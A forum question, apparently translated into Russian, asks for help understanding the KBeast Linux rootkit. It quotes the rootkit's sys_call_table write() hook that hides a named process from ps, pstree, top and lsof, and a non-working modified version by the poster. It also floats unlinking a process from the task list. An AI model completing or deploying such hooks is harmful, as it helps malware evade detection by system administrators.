Я пытаюсь узнать, как работает руткит (в образовательных целях). У меня есть исходный код Kbeast руткит. Чтобы скрыть процесс от PS || pstree et c. Команда имеет следующую функцию:
asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,buf,255);
if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
(strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
kfree(kbuf);
return -ENOENT;
}
}
r=(*o_write)(fd,buf,count);
kfree(kbuf);
return r;
}
Эта функция переопределяет sys_call_table [__NR_write]. Насколько я понимаю, * buf, содержит название процесса, который он пытается скрыть. с помощью copy_from_user () buf копируется в буфер ядра kbuf, а затем, обнаружив команду ps||pstree||...
с помощью strstr (), выполняет поиск process_to_hide (H4X0R). Если найдено совпадение, освободите буфер ядра kbuf. Правильно ли мое понимание?
Я проверяю содержание buf . Он не содержит ничего, поэтому он никогда не работает.
Чтобы заставить его работать, я сделал небольшой обходной путь (не уверен, что это правильный подход, поскольку я сказал, что я новичок). Я сделал следующее, чтобы поместить имя процесса (процесс, который я пытаюсь скрыть) в buf , а затем использовать copy_from_user () , чтобы скопировать его в пространство ядра. У меня есть рабочий код, который выглядит как оригинальный код Kbeast,
const char *p_name="kbeast";
asmlinkage long test_write(unsigned int fd, char const __user *buf, size_t count){
long r=1;
r = (*original_write)(fd, buf, count);
char *kbuf=(char const *)kmalloc(256,GFP_KERNEL);
//__copy_from_user(kbuf,buf,255);
if (strstr(current->comm,"ps")){
struct task_struct *task;
for_each_process(task){
if (strstr(task->comm,p_name)){
//printk("%s [%d]\n",task->comm , task->pid);
buf=task->comm;
__copy_from_user(kbuf,buf,255);
break;
}
}
//printk(KERN_INFO "kBuf %s", kbuf);
if(strstr(kbuf,p_name)){
kfree(kbuf);
return -ENOENT;
}
}
return r;
}
при запуске команды ps, он показывает следующее,
PID TTY TIME CMD
10115 pts/2 00:00:00 bash
14560 pts/2 00:00:00 kbeast
14561 pts/2 00:00:00 ps
ps: write error
Что здесь происходит?
Я думал о другом подходе, так как в task_struct список ссылок содержит все имена процессов, если я могу каким-то образом отсоединить целевой процесс от task_struct , который должен сделать свое дело , но я понятия не имею, как это сделать.